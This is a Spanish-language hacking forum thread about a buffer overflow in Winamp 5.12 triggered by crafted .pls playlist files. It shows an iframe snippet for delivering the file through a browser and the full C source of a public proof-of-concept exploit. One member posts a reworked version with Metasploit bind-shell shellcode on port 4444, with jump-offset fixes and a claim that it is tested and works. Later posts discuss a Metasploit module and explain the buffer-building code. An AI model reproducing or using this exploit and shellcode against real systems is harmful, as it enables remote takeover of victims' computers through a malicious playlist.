Tema destacado: ¡Aprende hacking con práctica! - arZone, el wargame de elhacker.net
Autor
|
Tema: Vulnerabilidad y exploit (POC) para el Winamp 5.12 (Leído 2,388 veces)
|
Necro
Desconectado
Mensajes: 287
]\/[37@|3r0
|
Vulnerabilidad y exploit (POC) para el Winamp 5.12 Se ha publicado un nuevo exploit para el Winamp, uno de los reproductores mas populares. El exploit utiliza una vulnerabilidad que afecta a la versión 5.12, la última a fecha de hoy, y prosiblemente a las anteriores. La vulnerabilidad está causada por un Buffer Overflow explotable mediante los archivos de lista de reproducción (o playlist, con extensión .pls). Al abrir una lista de reprocucción especialmente modificada, el overflow causado en el Winamp permite la ejecución de comandos en el sistema. Aunque la forma de explotarlo es en principio local, con lo cual su gravedad a simple vista puede parecer poca, el ataque puede realizarse remotamente (con intervención de la víctima), porque un atacante podría colgar el archivo .pls en una web y dirigir a su víctima hacia él mediante un link en una web, email, etc. Código: <html><body><iframe src="crafted.pls"></iframe></body></html> Si la víctima utiliza el Internet Explorer, el archivo .pls se ejecutará automáticamente, comprometiendo el sistema. El Firefox abre un cuadro de diálogo para descargarlo o ejecutarlo. Aunque el exploit publicado es una "prueba de concepto" y crea el archivo "crafted.pls" que al ser abierto con el Winamp simplemente abre la calculadora de Windows, puede ser modificado por un atacante para obtener uns shell remota en el sistema de la víctima. Exploit: winamp_5.12_poc.rar Demo: http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm Actualización: Según el foro de la web oficial del Winamp, ya han sacado un parche: http://www.winamp.com/in_mp3.dllCopia el archivo en la carpeta de plugins del Winamp Según el foro, pronto saldrá la versión 5.13. mas info: http://forums.winamp.com/showthread.php?threadid=236740 fuente: cyruxnet.org Origen: www.milw0rm.comA simple vista parece un problema grande pero si no afecta a todas las versiones anteriores creo q el bug no es tan importante.Yo estoy usando la version 5.08 y no es vulnerable. fijense ustedes. salu2
|
|
|
|
|
En línea
|
|
|
|
|
ANELKAOS
|
Estoy de examenes pero no podia resistirlo  /* * Winamp 5.12 Remote Buffer Overflow Universal Exploit [b](Zero-Day)[/b] * Bug discovered & exploit coded [b]by ATmaCA[/b] * Web: http://www.spyinstructors.com && http://www.atmacasoft.com * E-Mail: ATmaCA@icqmail.com * Credit to Kozan */
/* * * Tested with : * Winamp 5.12 on Win XP Pro Sp2 * */
/* * Usage: * * Execute exploit, it will create "crafted.pls" in current directory. * Duble click the file, or single click right and then select "open". * And Winamp will launch a Calculator (calc.exe) * */
/* * * For to use it remotly, * make a html page containing an iframe linking to the .pls file. * * http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm * */
#include <windows.h> #include <stdio.h>
#define BUF_LEN 0x045D #define PLAYLIST_FILE "crafted.pls"
char szPlayListHeader1[] = "[playlist] File1=\"; char szPlayListHeader2[] = " Title1=~BOF~ Length1=FFF NumberOfEntries=1 Version=2 ";
// Jump to shellcode char jumpcode[] = "x61xD9x02x02x83xECx34x83xECx70xFFxE4";
// Harmless Calc.exe char shellcode[] = "x54x50x53x50x29xc9x83xe9xdexe8xffxffxffxffxc0x5ex81x76x0ex02" "xddx0ex4dx83xeexfcxe2xf4xfex35x4ax4dx02xddx85x08x3ex56x72x48" "x7axdcxe1xc6x4dxc5x85x12x22xdcxe5x04x89xe9x85x4cxecxecxcexd4" "xaex59xcex39x05x1cxc4x40x03x1fxe5xb9x39x89x2ax49x77x38x85x12" "x26xdcxe5x2bx89xd1x45xc6x5dxc1x0fxa6x89xc1x85x4cxe9x54x52x69" "x06x1ex3fx8dx66x56x4ex7dx87x1dx76x41x89x9dx02xc6x72xc1xa3xc6" "x6axd5xe5x44x89x5dxbex4dx02xddx85x25x3ex82x3fxbbx62x8bx87xb5" "x81x1dx75x1dx6axa3xd6xafx71xb5x96xb3x88xd3x59xb2xe5xbex6fx21" "x61xddx0ex4d";
int main(int argc,char *argv[]) { printf(" Winamp 5.12 Remote Buffer Overflow Universal Exploit"); printf(" Bug discovered & exploit coded by ATmaCA"); printf(" Web: http://www.spyinstructors.com && http://www.atmacasoft.com"); printf(" E-Mail: atmaca@icqmail.com"); printf(" Credit to Kozan");
FILE *File; char *pszBuffer;
if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) { printf(" [Err:] fopen()"); exit(1); }
pszBuffer = (char*)malloc(BUF_LEN); memset(pszBuffer,0x90,BUF_LEN); memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1); memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1); memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1); memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);
fwrite(pszBuffer, BUF_LEN, 1,File); fclose(File);
printf("
" PLAYLIST_FILE " has been created in the current directory. "); return 1; }
// milw0rm.com [2006-01-29] Que tiempos aquellos en los que los 0day para este mismo programa salian de akí. Un saludo Rojodos donde kiera que estes 
|
|
|
|
« Última modificación: 31 Enero 2006, 01:33 por ANELKAOS »
|
En línea
|
|
|
|
Ertai
Ex-Staff
Desconectado
Mensajes: 2.026
Ralph Wiggum
|
Si, me ha saltado la calculadora 
|
|
|
|
|
En línea
|
Si la felicidad se comprara, entonces el dinero sería noble. void rotar_by_ref(int& a, int& b) { /* Quien dijo que no se podia sin una variable temporal? */ *a = *a ^ *b; *b = *a ^ *b; *a = *a ^ *b; }
|
|
|
Codename!!
Desconectado
Mensajes: 881
|
Esta wapo, y para la Shell  ?tendre que mirarmelo, no creo que me lo quieran decri por aqui XD
|
|
|
|
|
En línea
|
|
|
|
Isirius
Ex-Staff
Desconectado
Mensajes: 2.492
|
Si alguien consigue obtener una shell y quiere comentar como lo izxo estaria bien.
|
|
|
|
|
En línea
|
|
|
|
Victor-SB
Desconectado
Mensajes: 32
|
Yo utilizo la version 5.08 y no me afecta =/ solo pasa con la version 5.12?
|
|
|
|
|
En línea
|
|
|
|
BenRu
The Prodigy
Desconectado
Mensajes: 4.004
|
Una pregunta que no viene muy al caso pero...que paso con Rojodos?
|
|
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 466
LLVM
|
Hola gente. Comento los resultados que obtuve analizando el exploit. Bueno, depurando el winamp, pude descubrir con que valor se sobreescribe eip: char jumpcode[] = "x61xD9x02x02"//eip "x83xECx34x83xECx70xFFxE4"; /* 83ec34 = sub esp, 34 83ec70 = sub esp, 70 ffe4 = jmp esp*/
Ahi puse el comentario, ya que en el codigo original no dice nada de ello. Esa direccion va a un call esp que luego vuelve a esas lineas de codigo que desensamble. Ese salto va a parar al 3er byte de la shellcode, asi que agregando mi portbindshell(de metasploit en realidad  ) mas arriba y cambiando los opcodes de la shellcode vieja hice que saltara mas arriba en busca de la nueva. O sea: // Harmless Calc.exe char shellcode[] = "x54x50"//se saltan estos bytes "x33xC0x66xb8xf0x02x2bxe0x8bxc4xffxe4xECx70xFFxE4" /* xor eax,eax mov ax,2f0h sub esp,eax jmp esp ;salto a la shellcode nueva */
"x0ex02" "xddx0ex4dx83xeexfcxe2xf4xfex35x4ax4dx02xddx85x08x3ex56x72x48" "x7axdcxe1xc6x4dxc5x85x12x22xdcxe5x04x89xe9x85x4cxecxecxcexd4" "xaex59xcex39x05x1cxc4x40x03x1fxe5xb9x39x89x2ax49x77x38x85x12" "x26xdcxe5x2bx89xd1x45xc6x5dxc1x0fxa6x89xc1x85x4cxe9x54x52x69" "x06x1ex3fx8dx66x56x4ex7dx87x1dx76x41x89x9dx02xc6x72xc1xa3xc6" "x6axd5xe5x44x89x5dxbex4dx02xddx85x25x3ex82x3fxbbx62x8bx87xb5" "x81x1dx75x1dx6axa3xd6xafx71xb5x96xb3x88xd3x59xb2xe5xbex6fx21" "x61xddx0ex4d"; Los caracteres 0x96, 0x0A, 0x0D y por supuesto 0x00 no estan permitidos. Asi que busque una shellcode que se adapte a esas condiciones. Pego el code completo, esta probado y funciona: /* * * Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day) * Bug discovered & exploit coded by ATmaCA * Web: http://www.spyinstructors.com && http://www.atmacasoft.com * E-Mail: atmaca@icqmail.com * Credit to Kozan * */
/* * * Tested with : * Winamp 5.12 on Win XP Pro Sp2 * */
/* * Usage: * * Execute exploit, it will create "crafted.pls" in current directory. * Duble click the file, or single click right and then select "open". * And Winamp will launch a Calculator (calc.exe) * */
/* * * For to use it remotly, * make a html page containing an iframe linking to the .pls file. * * http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm * */
#include <windows.h> #include <stdio.h>
#define BUF_LEN 0x045D #define PLAYLIST_FILE "crafted.pls"
char szPlayListHeader1[] = "[playlist] File1=\\"; char szPlayListHeader2[] = " Title1=~BOF~ Length1=FFF NumberOfEntries=1 Version=2 ";
// Jump to shellcode char jumpcode[] = "x61xD9x02x02"//eip "x83xECx34x83xECx70xFFxE4"; /* 83ec34 = sub esp, 34 83ec70 = sub esp, 70 ffe4 = jmp esp*/
/* win32_bind - EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char shellcode2[] = "x29xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13xb3" "x02x2fx7bx83xebxfcxe2xf4x4fx68xc4x36x5bxfbxd0x84" "x4cx62xa4x17x97x26xa4x3ex8fx89x53x7excbx03xc0xf0" "xfcx1axa4x24x93x03xc4x32x38x36xa4x7ax5dx33xefxe2" "x1fx86xefx0fxb4xc3xe5x76xb2xc0xc4x8fx88x56x0bx53" "xc6xe7xa4x24x97x03xc4x1dx38x0ex64xf0xecx1ex2ex90" "xb0x2exa4xf2xdfx26x33x1ax70x33xf4x1fx38x41x1fxf0" "xf3x0exa4x0bxafxafxa4x3bxbbx5cx47xf5xfdx0cxc3x2b" "x4cxd4x49x28xd5x6ax1cx49xdbx75x5cx49xecx56xd0xab" "xdbxc9xc2x87x88x52xd0xadxecx8bxcax1dx32xefx27x79" "xe6x68x2dx84x63x6axf6x72x46xafx78x84x65x51x7cx28" "xe0x51x6cx28xf0x51xd0xabxd5x6ax3ex27xd5x51xa6x9a" "x26x6ax8bx61xc3xc5x78x84x65x68x3fx2axe6xfdxffx13" "x17xafx01x92xe4xfdxf9x28xe6xfdxffx13x56x4bxa9x32" "xe4xfdxf9x2bxe7x56x7ax84x63x91x47x9cxcaxc4x56x2c" "x4cxd4x7ax84x63x64x45x1fxd5x6ax4cx16x3axe7x45x2b" "xeax2bxe3xf2x54x68x6bxf2x51x33xefx88x19xfcx6dx56" "x4dx40x03xe8x3ex78x17xd0x18xa9x47x09x4dxb1x39x84" "xc6x46xd0xadxe8x55x7dx2axe2x53x45x7axe2x53x7ax2a" "x4cxd2x47xd6x6ax07xe1x28x4cxd4x45x84x4cx35xd0xab" "x38x55xd3xf8x77x66xd0xadxe1xfdxffx13x5cxccxcfx1b" "xe0xfdxf9x84x63x02x2fx7b";
// Harmless Calc.exe char shellcode[] = "x54x50" "x33xC0x66xb8xf0x02x2bxe0x8bxc4xffxe4xECx70xFFxE4" /* xor eax,eax mov ax,1f0h sub esp,eax jmp esp ;salto a la shellcode*/ "x0ex02" "xddx0ex4dx83xeexfcxe2xf4xfex35x4ax4dx02xddx85x08x3ex56x72x48" "x7axdcxe1xc6x4dxc5x85x12x22xdcxe5x04x89xe9x85x4cxecxecxcexd4" "xaex59xcex39x05x1cxc4x40x03x1fxe5xb9x39x89x2ax49x77x38x85x12" "x26xdcxe5x2bx89xd1x45xc6x5dxc1x0fxa6x89xc1x85x4cxe9x54x52x69" "x06x1ex3fx8dx66x56x4ex7dx87x1dx76x41x89x9dx02xc6x72xc1xa3xc6" "x6axd5xe5x44x89x5dxbex4dx02xddx85x25x3ex82x3fxbbx62x8bx87xb5" "x81x1dx75x1dx6axa3xd6xafx71xb5x96xb3x88xd3x59xb2xe5xbex6fx21" "x61xddx0ex4d";
int main(int argc,char *argv[]) { printf(" Winamp 5.12 Remote Buffer Overflow Universal Exploit"); printf(" Bug discovered & exploit coded by ATmaCA"); printf(" Web: http://www.spyinstructors.com && http://www.atmacasoft.com"); printf(" E-Mail: atmaca@icqmail.com"); printf(" Credit to Kozan");
FILE *File; char *pszBuffer;
if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) { printf(" [Err:] fopen()"); exit(1); }
pszBuffer = (char*)malloc(BUF_LEN); memset(pszBuffer,0x90,BUF_LEN); memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1); memcpy(pszBuffer+0x0150,shellcode2,sizeof(shellcode2)-1); memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1); memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1); memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);
fwrite(pszBuffer, BUF_LEN, 1,File); fclose(File);
printf("
" PLAYLIST_FILE " has been created in the current directory. "); return 1; }
|
|
|
|
|
En línea
|
|
|
|
Necro
Desconectado
Mensajes: 287
]\/[37@|3r0
|
la shell no es problema, la copias de otro exploit, incluso hasta use una tool que te creaba la shellcode no me acuerdo como se llamaba. Yo lo que queria era saber que versiones eran vulnerables, cyruxnet decian que la 5.12 y talvez anteriores, queria ver cual era la magnitud del exploit, porque conozco muy poca gente fanatica de las actualizaciones y el winamp no es un programa que se necesite actualizar seguido, conozco gente que usa versiones 2.x.x todavia. bue , salu2
|
|
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 466
LLVM
|
Si alguien consigue obtener una shell y quiere comentar como lo izxo estaria bien. Yo simplemente trato de colaborar. Fue por esa propuesta de Isirius. la shell no es problema Pues como veras no es tan simple como copiar y pegar. El jmp tan corto que hace no te alcanza para meter una scode que devuelva shell. Hay que hacer algunos arreglos para que todo funcione correctamente, pero bueno seguro sabras hacerlos. Ademas, no es agarrar cualquier scode y meterla, prueba un poco y veras. Yo lo probe en la version 5.12 y era vulnerable, pero en la 5.1 no pasaba nada. Parece ser que es cierto. No todas las versiones son vulnerables. Es un bug un poco particular.
|
|
|
|
|
En línea
|
|
|
|
SeniorX
Desconectado
Mensajes: 1.347
Programador Novato
|
Actualización 31-01-2006:
1.-Nueva versión del exploit, ésta vez totalmente funcional y en forma de módulo para el "metasploit framework" Download (web milw0rm) : winamp_playlist_unc.pm 2.-Publicada la versión parcheada del Winamp (5.13): http://www.winamp.com/player/free.phpOrigen: www.milw0rm.comFuente: cyruxnet Si alguien tiene ganas de explicar como usarlo se le agradeceria  , usando metasploit se me hizo facil pero luego de hacer la conexion dice: HTTP Client connected from 192.168.1.103:2657, redirecting....y ahi se queda
Tengo una duda, mirando el exploit.pm creo haberlo leido facilmente, pero veo mis conocimientos limitados al ver esto: pszBuffer = (char*)malloc(BUF_LEN); memset(pszBuffer,0x90,BUF_LEN); memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1); memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1); memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1); memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);
Buf_len esta definido arriba, pero si alguien me explica mas o menos que hace teoricamente se lo agradeceria  . Saludos! Entiendo el funcionamiento de esa sección en parte pero si alguien se diera la molestia de explicar el memcpy, les agradeceria mucho.
|
|
|
|
« Última modificación: 2 Febrero 2006, 08:17 por SeniorX »
|
En línea
|
try { live(); } catch (ShitHappensException ex) { MessageBox.Show(ex.Solution) } Precaución: La programacion puede producir adiccion
|
|
|
Ivanchuk
Desconectado
Mensajes: 466
LLVM
|
Ese codigo prepara el buffer para luego escribir en el archivo. memcpy copia de un area de memoria apuntada por shellcode(por ej.) a otra area de memoria apuntada por pszBuffer. Pero claro bajemonos el "frameworkless" de metasploit y listo  . Digo, en cierto sentido es como pasar de un lenguaje a otro, pero su facilidad de manejo es algo contraproducente para algunos. No estimula la investigacion. Creo que se deberian hacer tutoriales de como programar sobre ese entorno. Es producente en el sentido que hace el trabajo del exploiter mucho mas facil, o sea para el que sabe es una herramienta muy versatil. En fin, de la programacion no escapa nadie.
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
No puedo prohibir en internet la existencia de este programa xD pero bueno.. si solo se pone el exploit.. esta mal..pero si alguien llega y nos enseña un exploit con esta plataforma, pues.. como dices, es un lenguaje mas... aqui al menos hicieron la pregunta de que hacia ese segmento de código.
No me gusta en lo personal este paltaforma de metasploit.. no la he bajado, y no la bajare.. en fin..
Slaudos!!
|
|
|
|
|
En línea
|
|
|
|
|
|